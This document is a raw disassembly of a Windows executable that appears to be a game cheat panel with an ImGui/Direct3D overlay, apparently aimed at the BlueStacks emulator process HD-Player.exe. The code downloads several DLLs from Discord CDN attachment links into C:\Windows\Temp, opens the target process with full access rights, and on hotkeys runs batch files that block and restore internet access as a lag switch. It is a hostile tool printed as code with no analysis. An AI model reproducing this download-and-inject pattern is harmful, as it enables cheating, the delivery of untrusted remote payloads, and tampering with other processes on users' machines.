lea rdx, [rbp + 0x1a50]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
mov byte [rdx + 0x38], al
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov eax, dword [0x14015b6b0]
lea r8, [rbp + 0x500]
mov dword [rbp + 0x518], eax
lea rdx, [rbp + 0x1a50]
movzx eax, byte [0x14015b6b4]
xor r9d, r9d
movups xmmword [rbp + 0x500], xmm0
xor ecx, ecx
mov byte [rbp + 0x51c], al
movsd xmm0, qword [0x14015b6a8]
movsd qword [rbp + 0x510], xmm0
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c990]
lea rcx, [rbx + 0x15c990]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1690]
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x540]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x1690]
movzx eax, byte [0x14015ca60]
movups xmmword [rbp + 0x540], xmm0
mov byte [rbp + 0x558], al
movsd xmm0, qword [0x14015ca58]
movsd qword [rbp + 0x550], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cbf0]
lea rax, [rbx + 0x15cbf0]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x1450]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x810]
xor ecx, ecx
movups xmmword [rbp + 0x810], xmm0
lea rdx, [rbp + 0x1450]
movsd xmm0, qword [0x14015ccb8]
movsd qword [rbp + 0x820], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15ccc0]
lea rcx, [rbx + 0x15ccc0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1810]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x4e0]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x1810]
movzx eax, word [0x14015b690]
mov word [rbp + 0x4f8], ax
movzx eax, byte [0x14015b692]
movups xmmword [rbp + 0x4e0], xmm0
mov byte [rbp + 0x4fa], al
movsd xmm0, qword [0x14015b688]
movsd qword [rbp + 0x4f0], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0xc70]
movaps xmm1, xmmword [0x14015cd90]
xor r9d, r9d
mov eax, dword [0x14015cdd8]
movaps xmmword [rbp + 0x9b0], xmm0
movaps xmm0, xmmword [0x14015cda0]
movaps xmmword [rbp + 0x9d0], xmm0
movaps xmm0, xmmword [0x14015cdc0]
movaps xmmword [rbp + 0x9f0], xmm0
movsd xmm0, qword [0x14015cdd0]
movaps xmmword [rbp + 0x9c0], xmm1
movaps xmm1, xmmword [0x14015cdb0]
mov dword [rbp + 0xa08], eax
movzx eax, word [0x14015cddc]
movsd qword [rbp + 0xa00], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0xa0c], ax
movzx eax, byte [0x14015cdde]
movaps xmmword [rbp + 0x9e0], xmm1
movups xmm1, xmmword [0x14015b720]
mov byte [rbp + 0xa0e], al
movups xmmword [rbp + 0xc70], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0xc80], xmm1
lea rdx, [rbp + 0x9b0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181214344785940_blanca.dll]
lea r8, [rbp + 0x520]
movzx eax, word [0x14015ce38]
lea rdx, [rbp + 0xe20]
movaps xmm1, xmmword [0x14015cdf0]
xor r9d, r9d
movaps xmmword [rbp + 0xe20], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14015ce00]
movaps xmmword [rbp + 0xe40], xmm0
movaps xmm0, xmmword [0x14015ce20]
movaps xmmword [rbp + 0xe60], xmm0
movsd xmm0, qword [0x14015ce30]
movsd qword [rbp + 0xe70], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_blanca_1.dll]
mov word [rbp + 0xe78], ax
mov eax, dword [0x14015b6d0]
movups xmmword [rbp + 0x520], xmm0
mov dword [rbp + 0x538], eax
movsd xmm0, qword [0x14015b6c8]
movzx eax, byte [0x14015b6d4]
movaps xmmword [rbp + 0xe30], xmm1
movaps xmm1, xmmword [0x14015ce10]
movsd qword [rbp + 0x530], xmm0
movaps xmmword [rbp + 0xe50], xmm1
mov byte [rbp + 0x53c], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, str.C:WindowsSystem32chams.dll
mov edx, 0x104
lea rcx, [rbp + 0x2970]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [0x1402408d0]
call fcn.140060e30
mov ebx, dword [0x140240628]
test ebx, ebx
jne 0x140047204
cmp qword [0x1402406b0], r12
jne 0x14004717e
lea ecx, [rbx + 0x10]
call fcn.1400b5bf8
mov dword [rax + 8], r12d
mov qword [0x1402406b0], rax
xor edx, edx
mov ebx, r12d
mov edi, r12d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x10e0]
mov dword [rbp + 0x10e0], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x10e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400471fe
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x110c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x1400471ea
mov eax, dword [rbp + 0x10fc]
cmp eax, edi
jle 0x1400471ea
mov ebx, dword [rbp + 0x10e8]
mov edi, eax
lea rdx, [rbp + 0x10e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400471c0
mov dword [0x140240628], ebx
mov rdi, qword [0x1402406b0]
test rdi, rdi
jne 0x14004722c
lea ecx, [rdi + 0x10]
call fcn.1400b5bf8
mov rdi, rax
mov dword [rax + 8], r12d
mov ebx, dword [0x140240628]
mov qword [0x1402406b0], rax
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x1400472a1
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x1210]
mov dword [rbp + 0x1210], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x1210]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14004729e
nop
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x123c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0x1218]
lea rdx, [rbp + 0x1210]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140047270
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r12d
je 0x1400472ba
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
lea rcx, [0x1402408d0]
call fcn.140060e30
cmp byte [0x140240ae8], r12b
jne 0x140047300
lea rcx, [0x140240af0]
call fcn.14003f110
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x14004d200]
mov qword [rsp + 0x2c20], r15
mov edx, 0x7f00
mov qword [rbp + 0x388], rax
xor ecx, ecx
mov dword [rbp + 0x380], 0x50
mov dword [rbp + 0x384], 0x40
mov qword [rbp + 0x390], r12
mov qword [rbp + 0x398], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x3a0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x3b0], r12
mov qword [rbp + 0x3a8], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x3b8], rax
lea rax, str.Example
mov qword [rbp + 0x3c0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x380]
mov qword [rbp + 0x3c8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xfa]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
lea r8, str.Entropy
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x3c0]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x1f4
sar eax, 1
sub eax, 0x159
mov dword [rsp + 0x30], 0x2b2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + 0x110], rax
lea edx, [r15 - 0x15]
mov r14, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
lea edx, [r15 - 0x15]
mov rcx, r14
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea r9d, [r15 + 1]
mov r8b, 0xff
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xorps xmm0, xmm0
lea rdx, [rbp + 0x260]
mov rcx, r14
movups xmmword [rbp + 0x260], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
lea ecx, [r15 + 0x1f]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140261d48], rax
mov rcx, rax
test rax, rax
je 0x14004d114
mov qword [0x140261db0], r12
mov r9, r14
mov qword [0x140261dbc], r12
mov r8d, r15d
mov dword [0x140261dc4], r12d
xor edx, edx
mov qword [0x140261dcc], r12
mov dword [0x140261dd4], r12d
mov qword [0x140261de4], r12
mov dword [0x140261dd8], r15d
mov dword [0x140261dc8], r15d
mov dword [0x140261db8], r12d
mov dword [0x140261ddc], r15d
mov dword [0x140261de0], 0x50
mov dword [0x140261dec], r15d
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [0x140261da0]
mov qword [rsp + 0x30], rax
lea rax, [0x140261db0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
call r10
test eax, eax
js 0x14004d10d
movaps xmmword [rsp + 0x2be0], xmm9
lea edx, [r15 + 9]
movaps xmmword [rsp + 0x2bd0], xmm10
mov rcx, r14
movaps xmmword [rsp + 0x2bc0], xmm11
movaps xmmword [rsp + 0x2bb0], xmm12
movaps xmmword [rsp + 0x2ba0], xmm13
movaps xmmword [rsp + 0x2b90], xmm14
movaps xmmword [rsp + 0x2b80], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x140240580]
test rbx, rbx
je 0x140047587
inc dword [rbx + 0xf4]
mov rdx, qword [0x140240570]
mov ecx, 0x5e48
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x1400475a9
xor edx, edx
mov rcx, rax
call fcn.140001ca0
jmp 0x1400475ac
mov rax, r12
mov qword [0x140240580], rax
call fcn.1400061e0
test rbx, rbx
je 0x1400475c6
mov qword [0x140240580], rbx
jmp 0x1400475cd
mov rbx, qword [0x140240580]
test rbx, rbx
jne 0x1400475f3
mov r8d, 0x102f
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_lastimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140240580]
or dword [rbx + 8], 3
xor ecx, ecx
call fcn.140021530
mov rcx, r14
call fcn.140037770
mov rax, qword [0x140240580]
mov rsi, qword [0x140261da0]
test rax, rax
jne 0x14004763a
mov r8d, 0x102f
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_lastimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140240580]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r12
je 0x140047668
mov r8d, 0x11b
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_last_backendsimgui_impl_dx9.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140240580]
test rax, rax
je 0x140047673
inc dword [rax + 0xf4]
mov rdx, qword [0x140240570]
mov ecx, Ordinal_41
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x1400476a8
mov qword [rax], r12
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
mov dword [rax + 0x20], 0x1388
mov dword [rax + 0x24], 0x2710
jmp 0x1400476ab
mov rax, r12
mov qword [rdi + 0x98], rax
lea rcx, str.imgui_impl_dx9
mov qword [rdi + 0x88], rcx
mov rcx, rsi
or dword [rdi + 4], 8
mov qword [rax], rsi
mov rax, qword [rsi]
call qword [rax + reloc.WS2_32.dll_htonl]
movss xmm3, dword [0x1401600b0]
lea rdx, [0x14021ea80]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x1f84c
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call fcn.140026b50
xorps xmm3, xmm3
xor eax, eax
movups xmmword [rbp + 0x400], xmm3
mov qword [rbp + 0x470], rax
mov eax, 0xffff
movups xmmword [rbp + 0x430], xmm3
mov dword [rbp + 0x408], 3
movups xmmword [rbp + 0x440], xmm3
mov word [rbp + 0x444], ax
movups xmmword [rbp + 0x3f0], xmm3
mov byte [rbp + 0x3fc], r15b
movups xmmword [rbp + 0x410], xmm3
mov dword [rbp + 0x40c], r15d
movaps xmmword [rbp + 0x420], xmm3
xorps xmm4, xmm4
movaps xmmword [rbp + 0x450], xmm4
xorps xmm5, xmm5
movaps xmmword [rbp + 0x460], xmm5
mov dword [rbp + 0x434], 0x7f7fffff
mov dword [rbp + 0x440], 0x3f800000
mov byte [rbp + 0x438], r15b
mov byte [rbp + 0x410], r15b
mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r12b
je 0x1400477c1
mov r8d, 0x89d
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_lastimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm5, xmmword [rbp + 0x460]
movaps xmm4, xmmword [rbp + 0x450]
movaps xmm3, xmmword [rbp + 0x420]
movaps xmm0, xmmword [rbp + 0x400]
movaps xmm2, xmmword [rbp + 0x3f0]
movaps xmm1, xmmword [rbp + 0x410]
movq rax, xmm2
movaps xmmword [rbp + 0xb10], xmm0
movaps xmm0, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0xb40], xmm0
movsd xmm0, qword [rbp + 0x470]
movaps xmmword [rbp + 0xb20], xmm1
movaps xmm1, xmmword [rbp + 0x440]
movsd qword [rbp + 0xb80], xmm0
movaps xmmword [rbp + 0xb00], xmm2
movaps xmmword [rbp + 0xb30], xmm3
movaps xmmword [rbp + 0xb50], xmm1
movaps xmmword [rbp + 0xb60], xmm4
movaps xmmword [rbp + 0xb70], xmm5
test rax, rax
je 0x140047850
mov r8d, 0x89f
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_lastimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401aff40]
mov dword [rbp + 0xb08], 0x6eb40
mov qword [rbp + 0xb00], rax
lea rdx, [rbp + 0xb00]
lea rax, [0x14015b118]
mov dword [rbp + 0xb14], 0x41500000
mov rcx, rdi
mov qword [rbp + 0xb38], rax
call fcn.140026800
movss xmm3, dword [0x1401600d0]
lea rdx, [0x140177100]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x1efe4
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call fcn.140026b50
movss xmm11, dword [0x140160360]
xor bl, bl
movss xmm12, dword [0x14016007c]
xorps xmm9, xmm9
movss xmm14, dword [0x1401600d8]
movss xmm15, dword [0x1401600c0]
movss xmm10, dword [0x140160130]
movss xmm13, dword [0x140160140]
mov qword [rsp + 0x2c28], r13
movaps xmmword [rsp + 0x2c10], xmm6
movaps xmmword [rsp + 0x2c00], xmm7
mov dword [rbp - 0x78], ebx
movaps xmmword [rsp + 0x2bf0], xmm8
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0xa10]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140047991
nop
lea rcx, [rbp + 0xa10]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xa10]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xa18], 0x12
lea rcx, [rbp + 0xa10]
movzx ebx, bl
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140047940
mov dword [rbp - 0x78], ebx
test bl, bl
jne 0x14004cd54
mov ecx, dword [0x140240624]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140047a58
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_block_internet.bat
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_2_seg_Activado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_resume_internet.bat
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_2_seg_Desactivado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1402406a0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140047b1f
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_block_internet.bat
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_3_seg_Activado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_resume_internet.bat
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_3_seg_Desactivado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1402405c4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140047be6
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_block_internet.bat
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_5_seg_Activado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_resume_internet.bat
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_5_seg_Desactivado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x14024059c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140047cad
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_block_internet.bat
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_6_seg_Activado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_resume_internet.bat
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_6_seg_Desactivado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1402406a8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140047d74
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_block_internet.bat
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_7_seg_Activado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_resume_internet.bat
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_7_seg_Desactivado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x140240644]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140047e3b
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_block_internet.bat
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea rdx, str.open
